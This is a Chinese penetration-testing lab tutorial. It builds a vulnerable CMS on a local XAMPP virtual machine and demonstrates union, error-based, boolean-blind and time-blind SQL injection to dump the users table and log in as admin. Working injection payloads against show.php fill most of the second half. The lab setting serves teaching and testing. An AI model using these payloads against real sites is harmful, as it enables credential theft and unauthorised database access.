渗透测试实战技术分享:CMS 注入得到管理员账密

漏洞说明:

SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

利用此漏洞能够看到数据库所有表数据,如用户数据表可获取用户名、密码、邮箱等数据,进而通过获取到的邮箱与密码,可碰撞登陆邮箱获取交流邮件等。


环境说明

渗透测试实战技术分享:CMS 注入得到管理员账密

相关工具


渗透测试实战技术分享:CMS 注入得到管理员账密

复现过程:

第一步:搭建实验环境。

1、准备一台windows2008虚拟机,并将其设置为桥接状态,并查看ip地址。

渗透测试实战技术分享:CMS 注入得到管理员账密

我所实验的内网网段为10.10.20.0/24

渗透测试实战技术分享:CMS 注入得到管理员账密

2、将我们的xampp工具复制到08虚拟机中,并且双击安装。

安装过程一直点击next即可,具体操作可以查看视频步骤,安装完成后点击finish。

渗透测试实战技术分享:CMS 注入得到管理员账密

语言直接点save即可。

渗透测试实战技术分享:CMS 注入得到管理员账密

3、出现如下界面,需要做点优化。

渗透测试实战技术分享:CMS 注入得到管理员账密

点击最左侧service下方的前两个X号,出现提示,点击yes,之后图标修改为√号。

之后点击中间的Actions那一列下的Apache和MySQL按钮,启动服务,然后关闭。

渗透测试实战技术分享:CMS 注入得到管理员账密

渗透测试实战技术分享:CMS 注入得到管理员账密

4、用真实机的浏览器,访问2008虚拟机的ip地址,出现以下界面,则说明xampp安装成功,并且已经开启了apache服务

渗透测试实战技术分享:CMS 注入得到管理员账密

打开windows2008虚拟机的C盘,将多余的文件删除即可。

渗透测试实战技术分享:CMS 注入得到管理员账密

然后进入到xampp文件夹,找到htdocs文件夹点击进入,在里面新建一个文件夹取名为bak,并且将htdocs原有的文件拖到bak文件夹中。

渗透测试实战技术分享:CMS 注入得到管理员账密

渗透测试实战技术分享:CMS 注入得到管理员账密

在真实机中的浏览器中刷新页面,出现Object not found!将/dashboard/去掉,便在根目录下有一个bak的文件夹

渗透测试实战技术分享:CMS 注入得到管理员账密

渗透测试实战技术分享:CMS 注入得到管理员账密

5、打开C盘根目录下的xampp文件夹,找到名为mysql的文件夹,进入文件夹后,有一个名为bin的文件夹,双击进入,将文件的后缀名显示出来可以看到都是.exe的文件

渗透测试实战技术分享:CMS 注入得到管理员账密

将此文件夹所在的路径复制下来即:C:\\\\xampp\\mysql\\bin

6、修改环境变量,使mysql命令可以在cmd的命令中运行。

具体操作为:

右键计算机à属性à高级系统设置à环境变量à找到下方的系统变量Pathà选定后,点击编辑à点击右箭头,在最后添加;+刚才复制的路径。如:(; C:\\\\xampp\\mysql\\bin)

渗透测试实战技术分享:CMS 注入得到管理员账密

修改完环境变量后,重启cmd命令,之后输入mysql -uroot。如果出现如下界面,说明环境变量修改成功。就可以输入数据库的命令使用。

渗透测试实战技术分享:CMS 注入得到管理员账密

7、将准备好的cms压缩包,复制到windows2008的C盘下的htdocs目录下。

先将压缩包中的第一个文件夹复制过去,然后打开cms文件夹,再将剩下的两个文件复制到cms文件夹下。

渗透测试实战技术分享:CMS 注入得到管理员账密

渗透测试实战技术分享:CMS 注入得到管理员账密

8、将install.sql导入到数据库中。

show databases; 查看都有哪些数据库

create database cms; 创建一个名为cms的数据库

use cms; 使用cms数据库

source C:\\\\\\xampp\\\\htdocs\\\\cms\\\\install.sql; 将install.sql文件导入到数据库

show tables; 查看cms数据库中的表名

渗透测试实战技术分享:CMS 注入得到管理员账密

渗透测试实战技术分享:CMS 注入得到管理员账密

渗透测试实战技术分享:CMS 注入得到管理员账密

此时,我们刷新真实机的浏览器的页面,在bak文件夹下面有个cms文件夹,双击打开看到一个文章管理系统界面,说明我们的实验环境搭建完成了。

渗透测试实战技术分享:CMS 注入得到管理员账密

渗透测试实战技术分享:CMS 注入得到管理员账密

第二步:用SQL注入的4中注入手法进行漏洞验证,最终目的能获取管理员的账号密码,并且能成功登陆管理员后台。

1、 联合查询

http://10.10.20.60/cms/show.php?id=33’ 出现报错

渗透测试实战技术分享:CMS 注入得到管理员账密

http://10.10.20.60/cms/show.php?id=33 and 1=1 页面正常显示

http://10.10.20.60/cms/show.php?id=33 and 1=2 页面不正常显示

渗透测试实战技术分享:CMS 注入得到管理员账密

渗透测试实战技术分享:CMS 注入得到管理员账密

说明该网站存在SQL注入漏洞。

http://10.10.20.60/cms/show.php?id=33 order by 15 页面正常显示

http://10.10.20.60/cms/show.php?id=33 order by 16 页面报错

渗透测试实战技术分享:CMS 注入得到管理员账密

http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

发现页面有回显:3和11

渗透测试实战技术分享:CMS 注入得到管理员账密

http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+ 1,2,database(),4,5,6,7,8,9,10,version(),12,13,14,15 爆数据库名和查看数据库版本

渗透测试实战技术分享:CMS 注入得到管理员账密

http://10.10.20.60/cms/show.php?id=-33

+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat (table_name)),12,13,14,15 from information_schema.tables where table_schema=database() 爆数据库中的所有表名,出现一段数字,复制下来进行解码

渗透测试实战技术分享:CMS 注入得到管理员账密

新建一个窗口,中间位置有个0xHEX,点击左边的箭头为解码,将数字复制到解码栏中。

渗透测试实战技术分享:CMS 注入得到管理员账密

然后,在空白界面出现解码后的数据库中的所有表名。

渗透测试实战技术分享:CMS 注入得到管理员账密

cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users

爆表名为cms_users中的所有字段名。

http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'

渗透测试实战技术分享:CMS 注入得到管理员账密

同样出现一串数字,步骤和上一步一样,进行复制解码。

得到字段名:

userid,username,password

渗透测试实战技术分享:CMS 注入得到管理员账密

http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users 脱库

渗透测试实战技术分享:CMS 注入得到管理员账密

到此,我们得到了用户名为admin,密码使用的为MD5加密值,我们百度搜索MD5在线解密即可。

渗透测试实战技术分享:CMS 注入得到管理员账密

至此,我们得到用户名:admin,密码:123456

尝试登录后台管理账户,看是否能登录成功

渗透测试实战技术分享:CMS 注入得到管理员账密

渗透测试实战技术分享:CMS 注入得到管理员账密

成功登录到了后台管理账户。

2、 报错注入;

http://10.10.20.60/cms/show.php?id=33’

当我们添加一个’时,会有报错提示,此时我们可以考虑报错注入。

公式:(死记住就可)

(1) http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(想要执行的SQL语句),'^'))

(2) http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(想要执行的SQL语句),'^'),1)


http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(select database()),'^'))


http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(select version()),'^'))

渗透测试实战技术分享:CMS 注入得到管理员账密

渗透测试实战技术分享:CMS 注入得到管理员账密

http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(select version()),'^'),1)

渗透测试实战技术分享:CMS 注入得到管理员账密

http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(select database()),'^'),1)

渗透测试实战技术分享:CMS 注入得到管理员账密

3、 布尔盲注;

通过SQL语句验证数据库的名字长度为几位,多尝试,最长26位

http://10.10.20.60/cms/show.php?id=33 and length(database())>3 页面不正常显示

http://10.10.20.60/cms/show.php?id=33 and length(database())=3 页面正常显示

http://10.10.20.60/cms/show.php?id=33 and length(database())<3 页面不正常显示

渗透测试实战技术分享:CMS 注入得到管理员账密

渗透测试实战技术分享:CMS 注入得到管理员账密

由此我们可以确定数据库的名字位数位3位。

下面我们根据ascii码表,来爆破数据库名的第一个单词

http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))<99 页面不正常显示

http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))=99 页面正常显示

http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))>99 页面不正常显示

渗透测试实战技术分享:CMS 注入得到管理员账密

渗透测试实战技术分享:CMS 注入得到管理员账密

等于99时,页面正常,说明数据库的第一字母的ascii码值为99

渗透测试实战技术分享:CMS 注入得到管理员账密

通过查看ascii码表,可以看到99对应的为小写字母c

渗透测试实战技术分享:CMS 注入得到管理员账密

依此类推,利用这种方法即可爆出数据库名,但工作量较大,建议写个python脚本跑一下,可以提高效率。

4、 时间盲注;

http://10.10.20.60/cms/show.php?id=33 and sleep(5)

使浏览器沉睡5s,在执行命令

可以看到上方浏览器在转了5s之后,才执行完成,通过F12,网络时间线可以看到为5s左右。

渗透测试实战技术分享:CMS 注入得到管理员账密

http://10.10.20.60/cms/show.php?id=33 and if(length(database())=3,sleep(5),0)

当数据库的名字长度为3位时,浏览器沉睡5s在执行命令。

渗透测试实战技术分享:CMS 注入得到管理员账密

数据库的名字长度不为3位数时,浏览器直接执行命令。

渗透测试实战技术分享:CMS 注入得到管理员账密

在确定了数据库的名字位数后,下一步,我们和布尔盲注确定数据库第一位字母的思路相同。

http://10.10.20.60/cms/show.php?id=33 and if(ord(substr(database(),1,1))=99,sleep(5),0)

(当数据库的第一个字母的ascii码值为99的时候,浏览器沉睡5s在执行命令;否则,浏览器将直接执行命令)

渗透测试实战技术分享:CMS 注入得到管理员账密

当数据库第一个字母的ascii码值不是99时,为以下情况:

渗透测试实战技术分享:CMS 注入得到管理员账密

渗透测试实战技术分享:CMS 注入得到管理员账密

由此,我们可以确定,数据库名字的第一个字母的ascii码值为99,通过上网查询ascii码对照表,我们知道了acsii码为99的对应的为小写字母c。

依此类推,我们用相同的办法得到数据库的第二位字母、第三位字母…

到此,我们对此网站进行的SQL注入四大手法的漏洞复现过程基本完成。

注:

以上实验环境及实验过程,在实现漏洞复现的过程中没有发现任何问题,如依据本文档内容进行复现过程中发现任何问题,请自行检查自己的实验环境及实验步骤是否出现问题!!!


分享到:


相關文章: